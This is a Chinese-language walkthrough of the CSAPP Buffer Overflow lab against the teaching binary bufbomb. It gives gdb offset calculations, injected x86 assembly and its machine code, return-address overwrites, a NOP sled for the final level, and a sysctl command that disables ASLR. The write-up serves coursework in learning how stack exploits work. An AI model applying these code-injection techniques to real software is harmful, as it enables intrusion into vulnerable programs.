程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> 關於C語言 >> CSAPP LAB: Buffer Overflow,csappbuffer

CSAPP LAB: Buffer Overflow,csappbuffer

編輯:關於C語言

CSAPP LAB: Buffer Overflow,csappbuffer


這是CSAPP官網上的著名實驗,通過注入匯編代碼實現堆棧溢出攻擊。
實驗材料可到我的github倉庫 https://github.com/Cheukyin/CSAPP-LAB/ 選擇buffer-overflow分支下載

linux默認開啟ASLR,每次加載程序,變量地址都會不一樣,所以若要關閉ASLR: sysctl -w kernel.randomize_va_space=0(賦值為2,即可打開ASLR) 不過本實驗的程序似乎經過特殊處理,不需要關閉ASLR 正常編譯的程序的stack是non-executable的,但是加一個編譯選項就可以打開 本實驗的程序應該都打開了executable選項了 Level0: 修改getbuf()的返回地址,讓程序執行smoke 打開gdb,設置斷點至getbuf, r -u cheukyin
1      80491f4:    55                       push   %ebp
2      80491f5:    89 e5                    mov    %esp,%ebp
3      80491f7:    83 ec 38                 sub    $0x38,%esp
4      80491fa:    8d 45 d8                 lea    -0x28(%ebp),%eax
5      80491fd:    89 04 24                 mov    %eax,(%esp)
6      8049200:    e8 f5 fa ff ff           call   8048cfa <Gets>
7      8049205:    b8 01 00 00 00           mov    $0x1,%eax
8      804920a:    c9                       leave  
9      804920b:    c3                       ret    

 

     以上代碼標明buf的地址是ebp-0x28,地址存放在eax中
     print $ebp+4  ==>  0x55683884
     print eax     ==>  0x55683858
     兩者相差44個字節,因此需要輸入44個普通字符,在輸入smoke的地址
     print smoke   ==>  0x8048c18

     hex結果保存在level0-smoke-hex.txt
     ./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin 即可過關
Level1: 跟上面類似,執行fizz(),不過fizz有一個參數需要壓棧,這個參數需要跟cookie相等 因此除了修改getbuf返回地址,還需要輸入四字節當作fizz的返回地址,再輸入4字節cookie ./makecookie cheukyin 可獲取cookie 反匯編可獲取fizz返回地址 ./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin 通關
Level2: 修改全局變量global_value的值,並進入bang函數 要修改global_value,便需在stack上注入一段修改的代碼,執行完get_buf後jump到該代碼, 代碼執行完後便jump到bang level2-firecracker-assembly.S為注入代碼:
 1     # push the address of bang onto stack
 2     pushl $0x08048c9d
 3 
 4     # in gdb, print &global_value  ==>   0x804d100
 5     # mov cheukyin cookie to global_value
 6     mov $0x3955ae84, %eax
 7     mov %eax, 0x804d100
 8 
 9     # jump to <bang>
10     ret

 

    先把bang地址壓棧,然後修改global_value的值為cheukin的cookie,最後ret跳轉至bang

    gcc -m32 -c level2-firecracker-assembly.S生成目標文件 
    objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d反匯編
    level2-firecracker-assembly.d:
1     0:    68 9d 8c 04 08           push   $0x8048c9d
2     5:    b8 84 ae 55 39           mov    $0x3955ae84,%eax
3     a:    a3 00 d1 04 08           mov    %eax,0x804d100
4     f:    c3                       ret    

 

    
    gdb: print $ebp+8  ==>  0x55683888
    把機器碼填充到上面的地址,然後把get_buf返回地址修改為上面的地址即可

    ./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin可過關


Level3:
    令getbuf返回cookie給test,因此不能破壞test的stack frame,
    所以只能把注入代碼寫在輸入字符串的開頭,也就是buf地址

    另外,當返回test時需要恢復正確的ebp,因此輸入字符串中在返回地址之前應寫入ebp:
    在getbuf中, x/wx $ebp ==> 0x55683880
    返回地址應是buf地址: print $ebp-0x28 ==> 0x55683858

    注入代碼需要把cookie移入eax,並返回正確的地址:
1     #in getbuf: x/wx $ebp+4 ==> 0x08048dbe
2     #push get_buf's return address
3     pushl $0x08048dbe
4 
5     #return cheukyin's cookie to test
6     movl $0x3955ae84, %eax
7 
8     #return to <test>
9     ret

 

    gcc -m32 -c level3-Dynamite-assembly.S
    objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
    把生成的機器碼填入buf

    ./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin通關


Level4:
    最後一關的要求和上一關一致,不過需要加上-n參數運行bufbomb,
    此時會進入testn和getbufn函數而不是test和getbuf函數。
    與之前不同在於,為模擬真實環境具有不定數量環境變量在stack frame的上方,
    進入getbufn時的ebp值不是固定值,
    讀取字符串緩沖區大小由32變為512,而且會調用testn函數五次,
    意味著需要輸入五次字符串並全部通過才能通過。

    由於testn()的ebp值不固定,首先需要確定如何恢復該值。
    需要注意到一個事實,esp和ebp距離是固定的.
    由testn的匯編代碼:
1     
2     8048e26:    55                       push   %ebp
3     8048e27:    89 e5                    mov    %esp,%ebp
4     8048e29:    53                       push   %ebx
5     8048e2a:    83 ec 24                 sub    $0x24,%esp
6     8048e2d:    e8 5e ff ff ff           call   8048d90 <uniqueval>
7     8048e32:    89 45 f4                 mov    %eax,-0xc(%ebp)
8     8048e35:    e8 d2 03 00 00           call   804920c <getbufn>
9     8048e3a:    89 c3                    mov    %eax,%ebx

 

    getbufn正常返回後應回到8048e3a,此時 ebp=esp+0x28
    因此注入代碼應增加利用esp恢復ebp的語句
    如下:
 1     #testn's ebp is fixed
 2     #read <testn>'s assembly code and calculate
 3     lea 0x28(%esp), %ebp
 4 
 5     #look into bufbomb_32.S
 6     #push getbufn's return address
 7     pushl $0x08048e3a
 8 
 9     #return cheukyin's cookie to test
10     movl $0x3955ae84, %eax
11 
12     #return to <testn>
13     ret

 

    查看其機器碼:
1     
2     0:    8d 6c 24 28              lea    0x28(%esp),%ebp
3     4:    68 3a 8e 04 08           push   $0x8048e3a
4     9:    b8 84 ae 55 39           mov    $0x3955ae84,%eax
5     e:    c3                       ret   
    此時,還有另一個難題,ebp不固定,則getbufn中的字串數組buf地址也是不固定的.
    如何修改getbufn返回地址來執行注入代碼呢?

    通過gdb查看讀入getbufn內字符串buf的地址(即eax),
    對於同樣的userid會給出一樣的地址序列,
    目測是以userid為seed的偽隨機,五次運行給出的地址分別為:
1     0x55683678
2     0x55683698
3     0x556836c8
4     0x556835f8
5     0x55683668

 

    根據提示采用nop sleds的技術,
    大意是:在不清楚有效機器代碼的入口地址時,
    可以在有效機器代碼前以大量的nop機器指令(0x90)填充,
    只要跳轉地址處於這些nop上就能到達有效機器代碼。
    由於棧上的機器代碼是按地址由低向高順序執行,
    要保證五次運行都能順利執行有效機器代碼,
    需要滿足:跳轉地址位於有效機器代碼入口地址之前的nop機器指令填充區。
    這要求盡可能增大nop填充區,盡可能使有效機器代碼段往後挪。

    因此返回地址選用最高的地址: 0x556836c8

    由getbufn匯編代碼
    8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
    可知buf地址和存放返回地址的單元相隔 0x208+4 = 0x20c 個字節

    而注入代碼共15個字節,因此共需要在buf開頭填充 0x20c-15 個nop(0x90)
    然後在填入機器碼和返回地址

    ./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n 通關
    ./hex2raw 的 -n 選項可讓hex2raw重復多次輸入

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved